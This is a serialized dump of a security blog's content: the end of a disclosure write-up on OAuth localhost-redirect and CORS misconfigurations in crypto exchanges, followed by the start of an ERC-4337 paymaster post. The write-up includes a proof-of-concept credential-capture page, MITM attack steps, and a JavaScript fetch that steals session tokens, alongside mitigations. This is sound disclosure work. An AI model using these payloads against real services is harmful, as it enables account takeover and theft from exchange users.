"value":74815},{"type":25,"tag":216,"props":105083,"children":105084},{"style":6958},[105085],{"type":31,"value":18755},{"type":25,"tag":216,"props":105087,"children":105088},{"class":6916,"line":7724},[105089,105093,105097],{"type":25,"tag":216,"props":105090,"children":105091},{"style":6958},[105092],{"type":31,"value":74827},{"type":25,"tag":216,"props":105094,"children":105095},{"style":7041},[105096],{"type":31,"value":74832},{"type":25,"tag":216,"props":105098,"children":105099},{"style":6958},[105100],{"type":31,"value":7235},{"type":25,"tag":216,"props":105102,"children":105103},{"class":6916,"line":7754},[105104,105108],{"type":25,"tag":216,"props":105105,"children":105106},{"style":7041},[105107],{"type":31,"value":74844},{"type":25,"tag":216,"props":105109,"children":105110},{"style":6958},[105111],{"type":31,"value":7235},{"type":25,"tag":216,"props":105113,"children":105114},{"class":6916,"line":7762},[105115,105119,105123,105128],{"type":25,"tag":216,"props":105116,"children":105117},{"style":7041},[105118],{"type":31,"value":74921},{"type":25,"tag":216,"props":105120,"children":105121},{"style":6958},[105122],{"type":31,"value":1844},{"type":25,"tag":216,"props":105124,"children":105125},{"style":8199},[105126],{"type":31,"value":105127},"\"Test\"",{"type":25,"tag":216,"props":105129,"children":105130},{"style":6958},[105131],{"type":31,"value":7101},{"type":25,"tag":216,"props":105133,"children":105134},{"class":6916,"line":7794},[105135,105139],{"type":25,"tag":216,"props":105136,"children":105137},{"style":7041},[105138],{"type":31,"value":74987},{"type":25,"tag":216,"props":105140,"children":105141},{"style":6958},[105142],{"type":31,"value":7235},{"type":25,"tag":216,"props":105144,"children":105145},{"class":6916,"line":7802},[105146,105151,105155],{"type":25,"tag":216,"props":105147,"children":105148},{"style":6958},[105149],{"type":31,"value":105150},"                                src ",{"type":25,"tag":216,"props":105152,"children":105153},{"style":6947},[105154],{"type":31,"value":266},{"type":25,"tag":216,"props":105156,"children":105157},{"style":8199},[105158],{"type":31,"value":105159}," \"https://accounts.google.com/gsi/client\"\n",{"type":25,"tag":216,"props":105161,"children":105162},{"class":6916,"line":7862},[105163,105168,105173,105177,105181],{"type":25,"tag":216,"props":105164,"children":105165},{"style":6958},[105166],{"type":31,"value":105167},"                                attributes[",{"type":25,"tag":216,"props":105169,"children":105170},{"style":8199},[105171],{"type":31,"value":105172},"\"async\"",{"type":25,"tag":216,"props":105174,"children":105175},{"style":6958},[105176],{"type":31,"value":12608},{"type":25,"tag":216,"props":105178,"children":105179},{"style":6947},[105180],{"type":31,"value":266},{"type":25,"tag":216,"props":105182,"children":105183},{"style":8199},[105184],{"type":31,"value":105185}," \"\"\n",{"type":25,"tag":216,"props":105187,"children":105188},{"class":6916,"line":12995},[105189,105193,105198,105202,105206],{"type":25,"tag":216,"props":105190,"children":105191},{"style":6958},[105192],{"type":31,"value":105167},{"type":25,"tag":216,"props":105194,"children":105195},{"style":8199},[105196],{"type":31,"value":105197},"\"defer\"",{"type":25,"tag":216,"props":105199,"children":105200},{"style":6958},[105201],{"type":31,"value":12608},{"type":25,"tag":216,"props":105203,"children":105204},{"style":6947},[105205],{"type":31,"value":266},{"type":25,"tag":216,"props":105207,"children":105208},{"style":8199},[105209],{"type":31,"value":105185},{"type":25,"tag":216,"props":105211,"children":105212},{"class":6916,"line":13013},[105213],{"type":25,"tag":216,"props":105214,"children":105215},{"style":6958},[105216],{"type":31,"value":75012},{"type":25,"tag":216,"props":105218,"children":105219},{"class":6916,"line":13058},[105220,105224],{"type":25,"tag":216,"props":105221,"children":105222},{"style":7041},[105223],{"type":31,"value":74987},{"type":25,"tag":216,"props":105225,"children":105226},{"style":6958},[105227],{"type":31,"value":7235},{"type":25,"tag":216,"props":105229,"children":105230},{"class":6916,"line":13164},[105231,105236],{"type":25,"tag":216,"props":105232,"children":105233},{"style":7041},[105234],{"type":31,"value":105235},"                                unsafe",{"type":25,"tag":216,"props":105237,"children":105238},{"style":6958},[105239],{"type":31,"value":7235},{"type":25,"tag":216,"props":105241,"children":105242},{"class":6916,"line":27449},[105243,105248],{"type":25,"tag":216,"props":105244,"children":105245},{"style":6947},[105246],{"type":31,"value":105247},"                                    +",{"type":25,"tag":216,"props":105249,"children":105250},{"style":8199},[105251],{"type":31,"value":105252},"\"\"\"\n",{"type":25,"tag":216,"props":105254,"children":105255},{"class":6916,"line":27484},[105256],{"type":25,"tag":216,"props":105257,"children":105258},{"style":8199},[105259],{"type":31,"value":105260},"    function handleCredentialResponse(response) {\n",{"type":25,"tag":216,"props":105262,"children":105263},{"class":6916,"line":27492},[105264],{"type":25,"tag":216,"props":105265,"children":105266},{"style":8199},[105267],{"type":31,"value":105268},"      alert(\"credential: \" + response.credential);\n",{"type":25,"tag":216,"props":105270,"children":105271},{"class":6916,"line":27500},[105272],{"type":25,"tag":216,"props":105273,"children":105274},{"style":8199},[105275],{"type":31,"value":7305},{"type":25,"tag":216,"props":105277,"children":105278},{"class":6916,"line":27509},[105279],{"type":25,"tag":216,"props":105280,"children":105281},{"emptyLinePlaceholder":16},[105282],{"type":31,"value":7636},{"type":25,"tag":216,"props":105284,"children":105285},{"class":6916,"line":27551},[105286],{"type":25,"tag":216,"props":105287,"children":105288},{"style":8199},[105289],{"type":31,"value":105290},"    window.onload = async function () {\n",{"type":25,"tag":216,"props":105292,"children":105293},{"class":6916,"line":27584},[105294],{"type":25,"tag":216,"props":105295,"children":105296},{"style":8199},[105297],{"type":31,"value":105298},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":25,"tag":216,"props":105300,"children":105301},{"class":6916,"line":27592},[105302],{"type":25,"tag":216,"props":105303,"children":105304},{"style":8199},[105305],{"type":31,"value":105306},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":25,"tag":216,"props":105308,"children":105309},{"class":6916,"line":27600},[105310],{"type":25,"tag":216,"props":105311,"children":105312},{"style":8199},[105313],{"type":31,"value":105314},"      google.accounts.id.initialize({\n",{"type":25,"tag":216,"props":105316,"children":105317},{"class":6916,"line":27609},[105318],{"type":25,"tag":216,"props":105319,"children":105320},{"style":8199},[105321],{"type":31,"value":105322},"        client_id: client_id,\n",{"type":25,"tag":216,"props":105324,"children":105325},{"class":6916,"line":27685},[105326],{"type":25,"tag":216,"props":105327,"children":105328},{"style":8199},[105329],{"type":31,"value":105330},"        callback: handleCredentialResponse,\n",{"type":25,"tag":216,"props":105332,"children":105333},{"class":6916,"line":27718},[105334],{"type":25,"tag":216,"props":105335,"children":105336},{"style":8199},[105337],{"type":31,"value":105338},"        auto_select: true\n",{"type":25,"tag":216,"props":105340,"children":105341},{"class":6916,"line":27726},[105342],{"type":25,"tag":216,"props":105343,"children":105344},{"style":8199},[105345],{"type":31,"value":11242},{"type":25,"tag":216,"props":105347,"children":105348},{"class":6916,"line":27734},[105349],{"type":25,"tag":216,"props":105350,"children":105351},{"emptyLinePlaceholder":16},[105352],{"type":31,"value":7636},{"type":25,"tag":216,"props":105354,"children":105355},{"class":6916,"line":27771},[105356],{"type":25,"tag":216,"props":105357,"children":105358},{"style":8199},[105359],{"type":31,"value":105360},"      google.accounts.id.renderButton(\n",{"type":25,"tag":216,"props":105362,"children":105363},{"class":6916,"line":27784},[105364],{"type":25,"tag":216,"props":105365,"children":105366},{"style":8199},[105367],{"type":31,"value":105368},"        document.getElementById(\"g_id_signin\"),\n",{"type":25,"tag":216,"props":105370,"children":105371},{"class":6916,"line":27797},[105372],{"type":25,"tag":216,"props":105373,"children":105374},{"style":8199},[105375],{"type":31,"value":105376},"        { theme: \"outline\", size: \"large\" }\n",{"type":25,"tag":216,"props":105378,"children":105379},{"class":6916,"line":27810},[105380],{"type":25,"tag":216,"props":105381,"children":105382},{"style":8199},[105383],{"type":31,"value":10712},{"type":25,"tag":216,"props":105385,"children":105386},{"class":6916,"line":27864},[105387],{"type":25,"tag":216,"props":105388,"children":105389},{"emptyLinePlaceholder":16},[105390],{"type":31,"value":7636},{"type":25,"tag":216,"props":105392,"children":105393},{"class":6916,"line":27873},[105394],{"type":25,"tag":216,"props":105395,"children":105396},{"style":8199},[105397],{"type":31,"value":105398},"      google.accounts.id.prompt();\n",{"type":25,"tag":216,"props":105400,"children":105401},{"class":6916,"line":36237},[105402],{"type":25,"tag":216,"props":105403,"children":105404},{"style":8199},[105405],{"type":31,"value":42954},{"type":25,"tag":216,"props":105407,"children":105408},{"class":6916,"line":36258},[105409,105414,105418,105423],{"type":25,"tag":216,"props":105410,"children":105411},{"style":8199},[105412],{"type":31,"value":105413},"                                    \"\"\"",{"type":25,"tag":216,"props":105415,"children":105416},{"style":6958},[105417],{"type":31,"value":179},{"type":25,"tag":216,"props":105419,"children":105420},{"style":7041},[105421],{"type":31,"value":105422},"trimIndent",{"type":25,"tag":216,"props":105424,"children":105425},{"style":6958},[105426],{"type":31,"value":11681},{"type":25,"tag":216,"props":105428,"children":105429},{"class":6916,"line":84917},[105430],{"type":25,"tag":216,"props":105431,"children":105432},{"style":6958},[105433],{"type":31,"value":105434},"                                }\n",{"type":25,"tag":216,"props":105436,"children":105437},{"class":6916,"line":84930},[105438],{"type":25,"tag":216,"props":105439,"children":105440},{"style":6958},[105441],{"type":31,"value":75012},{"type":25,"tag":216,"props":105443,"children":105444},{"class":6916,"line":84938},[105445],{"type":25,"tag":216,"props":105446,"children":105447},{"style":6958},[105448],{"type":31,"value":74942},{"type":25,"tag":216,"props":105450,"children":105451},{"class":6916,"line":84946},[105452,105456],{"type":25,"tag":216,"props":105453,"children":105454},{"style":7041},[105455],{"type":31,"value":74950},{"type":25,"tag":216,"props":105457,"children":105458},{"style":6958},[105459],{"type":31,"value":7235},{"type":25,"tag":216,"props":105461,"children":105462},{"class":6916,"line":84954},[105463,105467,105471,105475,105480],{"type":25,"tag":216,"props":105464,"children":105465},{"style":7041},[105466],{"type":31,"value":74962},{"type":25,"tag":216,"props":105468,"children":105469},{"style":6958},[105470],{"type":31,"value":13536},{"type":25,"tag":216,"props":105472,"children":105473},{"style":6947},[105474],{"type":31,"value":3533},{"type":25,"tag":216,"props":105476,"children":105477},{"style":8199},[105478],{"type":31,"value":105479},"\"Login here:\"",{"type":25,"tag":216,"props":105481,"children":105482},{"style":6958},[105483],{"type":31,"value":13546},{"type":25,"tag":216,"props":105485,"children":105486},{"class":6916,"line":84994},[105487,105492],{"type":25,"tag":216,"props":105488,"children":105489},{"style":7041},[105490],{"type":31,"value":105491},"                            div",{"type":25,"tag":216,"props":105493,"children":105494},{"style":6958},[105495],{"type":31,"value":7235},{"type":25,"tag":216,"props":105497,"children":105498},{"class":6916,"line":85002},[105499,105504,105508],{"type":25,"tag":216,"props":105500,"children":105501},{"style":6958},[105502],{"type":31,"value":105503},"                                id ",{"type":25,"tag":216,"props":105505,"children":105506},{"style":6947},[105507],{"type":31,"value":266},{"type":25,"tag":216,"props":105509,"children":105510},{"style":8199},[105511],{"type":31,"value":105512}," \"g_id_signin\"\n",{"type":25,"tag":216,"props":105514,"children":105515},{"class":6916,"line":92188},[105516],{"type":25,"tag":216,"props":105517,"children":105518},{"style":6958},[105519],{"type":31,"value":75012},{"type":25,"tag":216,"props":105521,"children":105522},{"class":6916,"line":92196},[105523],{"type":25,"tag":216,"props":105524,"children":105525},{"style":6958},[105526],{"type":31,"value":74942},{"type":25,"tag":216,"props":105528,"children":105530},{"class":6916,"line":105529},62,[105531],{"type":25,"tag":216,"props":105532,"children":105533},{"style":6958},[105534],{"type":31,"value":75027},{"type":25,"tag":216,"props":105536,"children":105538},{"class":6916,"line":105537},63,[105539],{"type":25,"tag":216,"props":105540,"children":105541},{"style":6958},[105542],{"type":31,"value":75035},{"type":25,"tag":216,"props":105544,"children":105546},{"class":6916,"line":105545},64,[105547],{"type":25,"tag":216,"props":105548,"children":105549},{"style":6958},[105550],{"type":31,"value":62846},{"type":25,"tag":216,"props":105552,"children":105554},{"class":6916,"line":105553},65,[105555,105559,105563,105567,105571,105575],{"type":25,"tag":216,"props":105556,"children":105557},{"style":6958},[105558],{"type":31,"value":75050},{"type":25,"tag":216,"props":105560,"children":105561},{"style":7041},[105562],{"type":31,"value":75055},{"type":25,"tag":216,"props":105564,"children":105565},{"style":6958},[105566],{"type":31,"value":75060},{"type":25,"tag":216,"props":105568,"children":105569},{"style":6947},[105570],{"type":31,"value":266},{"type":25,"tag":216,"props":105572,"children":105573},{"style":6930},[105574],{"type":31,"value":16419},{"type":25,"tag":216,"props":105576,"children":105577},{"style":6958},[105578],{"type":31,"value":7101},{"type":25,"tag":216,"props":105580,"children":105582},{"class":6916,"line":105581},66,[105583],{"type":25,"tag":216,"props":105584,"children":105585},{"style":6958},[105586],{"type":31,"value":7305},{"type":25,"tag":38,"props":105588,"children":105589},{},[105590],{"type":31,"value":105591},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":25,"tag":38,"props":105593,"children":105594},{},[105595],{"type":31,"value":105596},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":25,"tag":607,"props":105598,"children":105600},{"id":105599},"how-to-mitigate",[105601],{"type":31,"value":105602},"How to Mitigate",{"type":25,"tag":38,"props":105604,"children":105605},{},[105606],{"type":31,"value":105607},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":25,"tag":26,"props":105609,"children":105611},{"id":105610},"exploiting-cors",[105612],{"type":31,"value":105613},"Exploiting CORS",{"type":25,"tag":38,"props":105615,"children":105616},{},[105617],{"type":31,"value":105618},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":25,"tag":38,"props":105620,"children":105621},{},[105622,105624,105630],{"type":31,"value":105623},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":25,"tag":82,"props":105625,"children":105627},{"className":105626},[],[105628],{"type":31,"value":105629},"http://",{"type":31,"value":105631}," schema for any subdomain:",{"type":25,"tag":206,"props":105633,"children":105637},{"className":105634,"code":105635,"language":105636,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[105638],{"type":25,"tag":82,"props":105639,"children":105640},{"__ignoreMap":7},[105641,105649,105657,105665],{"type":25,"tag":216,"props":105642,"children":105643},{"class":6916,"line":6917},[105644],{"type":25,"tag":216,"props":105645,"children":105646},{},[105647],{"type":31,"value":105648},"HTTP 200 OK\n",{"type":25,"tag":216,"props":105650,"children":105651},{"class":6916,"line":6763},[105652],{"type":25,"tag":216,"props":105653,"children":105654},{},[105655],{"type":31,"value":105656},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":25,"tag":216,"props":105658,"children":105659},{"class":6916,"line":6772},[105660],{"type":25,"tag":216,"props":105661,"children":105662},{},[105663],{"type":31,"value":105664},"Access-Control-Allow-Credentials: true\n",{"type":25,"tag":216,"props":105666,"children":105667},{"class":6916,"line":6999},[105668],{"type":25,"tag":216,"props":105669,"children":105670},{},[105671],{"type":31,"value":14269},{"type":25,"tag":607,"props":105673,"children":105675},{"id":105674},"cors-misconfiguration-by-lack-of-tls",[105676],{"type":31,"value":105677},"CORS Misconfiguration by Lack of TLS",{"type":25,"tag":38,"props":105679,"children":105680},{},[105681,105683,105689],{"type":31,"value":105682},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":25,"tag":82,"props":105684,"children":105686},{"className":105685},[],[105687],{"type":31,"value":105688},"exchange.com",{"type":31,"value":105690}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":25,"tag":38,"props":105692,"children":105693},{},[105694],{"type":31,"value":105695},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":25,"tag":2033,"props":105697,"children":105698},{},[105699,105719],{"type":25,"tag":2037,"props":105700,"children":105701},{},[105702,105704,105709,105711,105717],{"type":31,"value":105703},"Chrome --> won't work because cookies are not sent in ",{"type":25,"tag":82,"props":105705,"children":105707},{"className":105706},[],[105708],{"type":31,"value":105629},{"type":31,"value":105710}," --> ",{"type":25,"tag":82,"props":105712,"children":105714},{"className":105713},[],[105715],{"type":31,"value":105716},"https://",{"type":31,"value":105718}," requests, even if same-site",{"type":25,"tag":2037,"props":105720,"children":105721},{},[105722,105724],{"type":31,"value":105723},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":25,"tag":82,"props":105725,"children":105727},{"className":105726},[],[105728],{"type":31,"value":41722},{"type":25,"tag":607,"props":105730,"children":105732},{"id":105731},"exploit-1",[105733],{"type":31,"value":104063},{"type":25,"tag":38,"props":105735,"children":105736},{},[105737],{"type":31,"value":105738},"To exploit it, we must follow some steps:",{"type":25,"tag":6705,"props":105740,"children":105741},{},[105742,105747,105752],{"type":25,"tag":2037,"props":105743,"children":105744},{},[105745],{"type":31,"value":105746},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":25,"tag":2037,"props":105748,"children":105749},{},[105750],{"type":31,"value":105751},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":25,"tag":2037,"props":105753,"children":105754},{},[105755,105757,105762],{"type":31,"value":105756},"Use ",{"type":25,"tag":82,"props":105758,"children":105760},{"className":105759},[],[105761],{"type":31,"value":41722},{"type":31,"value":105763}," with CORS to do something malicious using the victim's account",{"type":25,"tag":38,"props":105765,"children":105766},{},[105767],{"type":31,"value":105768},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":25,"tag":38,"props":105770,"children":105771},{},[105772,105774,105779],{"type":31,"value":105773},"Once the redirect to the ",{"type":25,"tag":82,"props":105775,"children":105777},{"className":105776},[],[105778],{"type":31,"value":105629},{"type":31,"value":105780}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":25,"tag":206,"props":105782,"children":105784},{"className":35319,"code":105783,"language":35321,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[105785],{"type":25,"tag":82,"props":105786,"children":105787},{"__ignoreMap":7},[105788,105811,105848,105865,105882,105889,105930],{"type":25,"tag":216,"props":105789,"children":105790},{"class":6916,"line":6917},[105791,105795,105799,105803,105807],{"type":25,"tag":216,"props":105792,"children":105793},{"style":6958},[105794],{"type":31,"value":1844},{"type":25,"tag":216,"props":105796,"children":105797},{"style":6930},[105798],{"type":31,"value":40102},{"type":25,"tag":216,"props":105800,"children":105801},{"style":6958},[105802],{"type":31,"value":43654},{"type":25,"tag":216,"props":105804,"children":105805},{"style":6930},[105806],{"type":31,"value":18773},{"type":25,"tag":216,"props":105808,"children":105809},{"style":6958},[105810],{"type":31,"value":7235},{"type":25,"tag":216,"props":105812,"children":105813},{"class":6916,"line":6763},[105814,105818,105823,105827,105831,105835,105839,105844],{"type":25,"tag":216,"props":105815,"children":105816},{"style":6930},[105817],{"type":31,"value":11801},{"type":25,"tag":216,"props":105819,"children":105820},{"style":6941},[105821],{"type":31,"value":105822}," res",{"type":25,"tag":216,"props":105824,"children":105825},{"style":6947},[105826],{"type":31,"value":6950},{"type":25,"tag":216,"props":105828,"children":105829},{"style":6967},[105830],{"type":31,"value":40168},{"type":25,"tag":216,"props":105832,"children":105833},{"style":7041},[105834],{"type":31,"value":36885},{"type":25,"tag":216,"props":105836,"children":105837},{"style":6958},[105838],{"type":31,"value":1844},{"type":25,"tag":216,"props":105840,"children":105841},{"style":8199},[105842],{"type":31,"value":105843},"'https://www.exchange.com/api/session_token'",{"type":25,"tag":216,"props":105845,"children":105846},{"style":6958},[105847],{"type":31,"value":52845},{"type":25,"tag":216,"props":105849,"children":105850},{"class":6916,"line":6772},[105851,105856,105861],{"type":25,"tag":216,"props":105852,"children":105853},{"style":6941},[105854],{"type":31,"value":105855},"    credentials:",{"type":25,"tag":216,"props":105857,"children":105858},{"style":8199},[105859],{"type":31,"value":105860}," 'include'",{"type":25,"tag":216,"props":105862,"children":105863},{"style":6958},[105864],{"type":31,"value":7459},{"type":25,"tag":216,"props":105866,"children":105867},{"class":6916,"line":6999},[105868,105873,105878],{"type":25,"tag":216,"props":105869,"children":105870},{"style":6941},[105871],{"type":31,"value":105872},"    method:",{"type":25,"tag":216,"props":105874,"children":105875},{"style":8199},[105876],{"type":31,"value":105877}," 'POST'",{"type":25,"tag":216,"props":105879,"children":105880},{"style":6958},[105881],{"type":31,"value":7459},{"type":25,"tag":216,"props":105883,"children":105884},{"class":6916,"line":7104},[105885],{"type":25,"tag":216,"props":105886,"children":105887},{"style":6958},[105888],{"type":31,"value":102146},{"type":25,"tag":216,"props":105890,"children":105891},{"class":6916,"line":7210},[105892,105897,105901,105906,105910,105914,105918,105922,105926],{"type":25,"tag":216,"props":105893,"children":105894},{"style":6941},[105895],{"type":31,"value":105896},"  console",{"type":25,"tag":216,"props":105898,"children":105899},{"style":6958},[105900],{"type":31,"value":179},{"type":25,"tag":216,"props":105902,"children":105903},{"style":7041},[105904],{"type":31,"value":105905},"log",{"type":25,"tag":216,"props":105907,"children":105908},{"style":6958},[105909],{"type":31,"value":1844},{"type":25,"tag":216,"props":105911,"children":105912},{"style":6967},[105913],{"type":31,"value":36872},{"type":25,"tag":216,"props":105915,"children":105916},{"style":6941},[105917],{"type":31,"value":105822},{"type":25,"tag":216,"props":105919,"children":105920},{"style":6958},[105921],{"type":31,"value":179},{"type":25,"tag":216,"props":105923,"children":105924},{"style":7041},[105925],{"type":31,"value":37954},{"type":25,"tag":216,"props":105927,"children":105928},{"style":6958},[105929],{"type":31,"value":19376},{"type":25,"tag":216,"props":105931,"children":105932},{"class":6916,"line":7238},[105933],{"type":25,"tag":216,"props":105934,"children":105935},{"style":6958},[105936],{"type":31,"value":105937},"})();\n",{"type":25,"tag":38,"props":105939,"children":105940},{},[105941],{"type":31,"value":105942},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":25,"tag":607,"props":105944,"children":105945},{"id":44291},[105946],{"type":31,"value":44294},{"type":25,"tag":38,"props":105948,"children":105949},{},[105950,105952,105957],{"type":31,"value":105951},"As mitigation, it is recommended to remove all ",{"type":25,"tag":82,"props":105953,"children":105955},{"className":105954},[],[105956],{"type":31,"value":105629},{"type":31,"value":105958}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":25,"tag":38,"props":105960,"children":105961},{},[105962],{"type":31,"value":105963},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":25,"tag":26,"props":105965,"children":105966},{"id":32886},[105967],{"type":31,"value":22901},{"type":25,"tag":38,"props":105969,"children":105970},{},[105971],{"type":31,"value":105972},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":25,"tag":38,"props":105974,"children":105975},{},[105976],{"type":31,"value":105977},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":25,"tag":9310,"props":105979,"children":105980},{},[105981],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":105983},[105984,105989,105994],{"id":103668,"depth":6763,"text":103671,"children":105985},[105986,105987,105988],{"id":103679,"depth":6772,"text":103682},{"id":104036,"depth":6772,"text":104039},{"id":105599,"depth":6772,"text":105602},{"id":105610,"depth":6763,"text":105613,"children":105990},[105991,105992,105993],{"id":105674,"depth":6772,"text":105677},{"id":105731,"depth":6772,"text":104063},{"id":44291,"depth":6772,"text":44294},{"id":32886,"depth":6763,"text":22901},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":105999,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":106000,"description":106001,"date":106002,"author":106003,"image":106004,"isFeatured":16,"onBlogPage":16,"tags":106006,"body":106009,"_type":6792,"_id":111781,"_source":6794,"_file":111782,"_stem":111783,"_extension":6797},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":106005,"width":101220,"height":17574},"/posts/paymasters-evm/title.png",[106007,106008],"evm","ERC-4337",{"type":22,"children":106010,"toc":111760},[106011,106015,106026,106031,106036,106041,106047,106053,106058,106063,106069,106074,106102,106108,106113,106120,106125,106135,106140,106166,106172,106192,106198,106218,106226,106257,106290,106299,106311,106336,106348,106361,106404,106410,106443,106542,106561,106584,106589,106595,106623,106770,106775,106802,106808,106820,106832,106841,106876,106881,108366,108394,108415,108420,108432,108441,108446,108464,108487,108492,108498,108552,108558,108591,108626,109450,109486,109522,109588,109621,110119,110172,110184,110748,110817,110844,111466,111508,111535,111547,111608,111627,111661,111666,111671,111676,111680,111685,111720,111746,111751,111756],{"type":25,"tag":453,"props":106012,"children":106013},{"id":32969},[106014],{"type":31,"value":32972},{"type":25,"tag":38,"props":106016,"children":106017},{},[106018,106024],{"type":25,"tag":162,"props":106019,"children":106022},{"href":106020,"rel":106021},"https://docs.erc4337.io/",[166],[106023],{"type":31,"value":106008},{"type":31,"value":106025}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":25,"tag":38,"props":106027,"children":106028},{},[106029],{"type":31,"value":106030},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":25,"tag":38,"props":106032,"children":106033},{},[106034],{"type":31,"value":106035},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":25,"tag":38,"props":106037,"children":106038},{},[106039],{"type":31,"value":106040},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":25,"tag":453,"props":106042,"children":106044},{"id":106043},"erc4337-overview",[106045],{"type":31,"value":106046},"ERC4337 Overview",{"type":25,"tag":26,"props":106048,"children":106050},{"id":106049},"traditional-eoas-vs-smart-contract-wallets",[106051],{"type":31,"value":106052},"Traditional EOAs vs Smart Contract Wallets",{"type":25,"tag":38,"props":106054,"children":106055},{},[106056],{"type":31,"value":106057},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":25,"tag":38,"props":106059,"children":106060},{},[106061],{"type":31,"value":106062},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":25,"tag":26,"props":106064,"children":106066},{"id":106065},"why-erc4337-was-introduced",[106067],{"type":31,"value":106068},"Why ERC‑4337 Was Introduced",{"type":25,"tag":38,"props":106070,"children":106071},{},[106072],{"type":31,"value":106073},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":25,"tag":2033,"props":106075,"children":106076},{},[106077,106082,106087,106092,106097],{"type":25,"tag":2037,"props":106078,"children":106079},{},[106080],{"type":31,"value":106081},"User recovery for lost keys (e.g. social recovery)",{"type":25,"tag":2037,"props":106083,"children":106084},{},[106085],{"type":31,"value":106086},"Batched or atomic multi-step operations in one flow",{"type":25,"tag":2037,"props":106088,"children":106089},{},[106090],{"type":31,"value":106091},"Paying gas fees with 